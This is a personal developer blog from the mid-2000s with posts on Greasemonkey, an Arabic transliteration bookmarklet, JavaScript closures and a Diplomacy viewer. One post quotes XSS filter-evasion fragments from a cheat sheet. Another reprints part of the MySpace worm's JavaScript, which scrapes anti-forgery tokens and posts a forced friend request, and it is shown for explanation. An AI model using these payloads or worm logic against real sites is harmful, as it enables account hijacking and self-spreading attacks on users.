evan_tech

08:21 pm, 5 Nov 07

gmail greasemonkey

The new version of Gmail has explicit support for Greasemonkey.
12:06 am, 15 Nov 06

better arabic transliteration

Web-based Arabic Transliteration, now available as a bookmarklet. Clicking the bookmarklet gives me a hotkey to switch between English and العربية, even on this LiveJournal update form. This newer version also does input more like Japanese, where characters and digraphs are processed as you type; there's no longer a separation between the input box and the display box.

(This was all inspired by Taku's Japanese web-based IME, which is about a million times more hardcore than what I've done.)

(I also refer you to the previous post on the subject, where people had other suggestions and someone made a clone for Russian. It wouldn't be hard to modify my bookmarlet to support Russian, too...)
01:26 pm, 1 Nov 06

rad javascript hack: triangles

"This is demonstration of rendering arbitrary triangles (relatively fast) with javascript/DOM/css (no images, flash, canvas tags or java applets)."

Update: a more useful application of this could be for drawing arbitrary lines. Hmm...
A common pattern in functional languages is attaching some mutable state to a function that needs to exist across calls. (Like static local variables in C.) You could just make the state a global variable alongside the function, but you can hide it in a cute way.

The idea is you write a function that has the state as a local variable, then return a closure holding that variable. It's harder to explain in text than it is in code:
# let at_most n f =
    let count = ref 0 in  (* "ref" is ml for "mutable" *)
    fun x ->
      if !count < n then (incr count; f x)
                    else ()
  ;;
val at_most : int -> ('a -> unit) -> 'a -> unit = <fun>

(* and demonstration: *)
# let say_hi () = print_endline "hi";;
val say_hi : unit -> unit = <fun>
# let limited_say_hi = at_most 2 say_hi;;
val limited_say_hi : unit -> unit = <fun>
# limited_say_hi ();;
hi
- : unit = ()
# limited_say_hi ();;
hi
- : unit = ()
# limited_say_hi ();;
- : unit = ()
(* ... it ran twice, so it will no longer
   produce any output. *)


It occurred to me that this would be pretty useful in JavaScript, especially when you're doing alert()-based debugging. The problem you often run into is that you want to alert() inside of a loop to see a value but if you let the loop go you get an endless cascade of popups.

function at_most(n, f) {
  var i = 0;
  return function(x) {
    if (i++ < n) f(x);
  };
};
var aler = at_most(3, alert);

(I can't promise I got the JS-closure-fu right, but it seems to work.) I can now sprinkle calls to aler(...) throughout my code and it'll never bring up more than three popups.
02:57 am, 29 Apr 06

diplomacy xul

I went out to dinner with Darin Fisher (and others) last night, following a talk he gave on Firefox. This finally prompted me to get around to starting work on my Diplomacy viewer.

If you don't know it, Diplomacy is a great game that's decades old. (That site is full of good resources, including the rules...) It's like Risk but with most of the chance removed -- I resolved never to play Risk again when I attacked someone with 80 armies and still lost to their ~30 -- and bit more abstract strategy with a whole lot of schmoozing added. And it plays by mail in a very relaxed sort of way, which is nice for me 'cause I don't have a lot of free time to dedicate to today's games. (I'm sure WoW is fun, but I think I'd be too depressed to enjoy it realizing I was dedicating all these hours to incrementing numbers.)

Anyway, Diplomacy the game is fun, but the site we play it with is sorta lacking. It definitely gets the job done, but it has a bunch of misfeatures, like pretty much everything being done by form POSTs (so you can't bookmark any URLs), being generally slow, and producing nearly unreadable maps (you can see my current game here), which are made even worse by my dpi problem.

So I had been thinking about making a DHTML Diplomacy viewer/planner that would let you shuffle the pieces around. But the tricky part is that showing the moves in a turn involve drawing arrows on a map, which are hard to do with HTML*. I had thought this would be a fun opportunity to check out the Firefox canvas implementation. (I eventually switched to the SVG+DOM approach.)

Partway through implementing this, and looking up something on quirksmode for the n millionth time, I realized that I'm Firefox-specific already (using SVG, and I don't test on IE anyway), and, thinking of talking with Darin, I may as well use the more pleasant API and widgets of XUL. It's actually pretty straightforward. Of course, except, when you want to do something slightly outside of the box (which apparently includes "putting something in a scrollable region but still being able to compute mouse coordinates on the underlying surface") involved some kinda-gross hacking, but I figured it out after a few hours.

Anyway, I've got general board layout, some status file parsing, and some UI wrapped around it working. You can run it directly out of the repository, too, though of course it only works if you're using Firefox: dip.xul. But it's still mostly vaporware.

* With maybe 30 vertices on the board graph, 6 edges per vertex, and probably averaging around 3 moves per vertex+edge, I suppose I might be able to pregenerate all the possible move graphics offline...
04:09 pm, 19 Apr 06

arabic transliteration

Quick hack: Simple Arabic Transliterator. You type in roman letters and it shows Arabic. Try e.g. "aljbr" to see the word that "algebra" comes from.

I feel like I've written this program four times, though maybe making it web-based will make it useful for other people. It's pretty straightforward except it uses a longest-match rule so "kh" produces a different character than "k".

I wrote this one for Meena, who then wrote me a short email in Arabic in return. I can read about half of it.
05:19 pm, 22 Feb 06

xss cheat sheet

Via [info]nikolasco, XSS cheat sheet. High signal to noise ratio, with snippets that make me wince like "IMG SRC=&#0000106&#000009", and Brad's favorite, "someattr="jav ascript:alert('XSS');"".

Lots of stuff on there I hadn't seen before. I'm glad I don't have to deal with this stuff.
02:04 pm, 10 Dec 05

crosswords, 3

Crossword demo updated, with the fanciest DHTML I've ever done. (It probably only works in Firefox. I don't have a way to test other browsers, nor do I especially care. But I will accept patches!)

I think the crossword widget is pretty much done. Now to think of a nice way to present the clues...
08:44 am, 13 Oct 05

myspace worm

MySpace worm using Javascript.
That post hypothesizes the problem is using GET instead of POST (both LJ and Orkut and many other apps did this), but it looks more complicated than that. Here's a reformatted snippet of the worm code, which looks like it GETs one page, retrieves a token from it, and then does the POST to actually make the change:

main(){
var AN=getClientFID();
var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
J=getXMLObj();
httpSend(BH,getHome,'GET');
xmlhttp2=getXMLObj();
httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}

function processxForm(){
if(xmlhttp2.readyState!=4){return}
var AU=xmlhttp2.responseText;
var AQ=getHiddenParameter(AU,'hashcode');
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();
AS['hashcode']=AQ;
AS['friendID']='11851658';
AS['submit']='Add to Friends';
httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}
10:38 am, 30 Aug 05

mihai strikes again

Gmail preview bubbles Greasemonkey hack.

To quote someone from work:
This is the latest in a long line of badass things Mihai has done for Gmail [...]. As near as I can tell, he fell to earth from javascript space, and under the rays of our yellow sun has developed strange, unearthly powers.
Truly.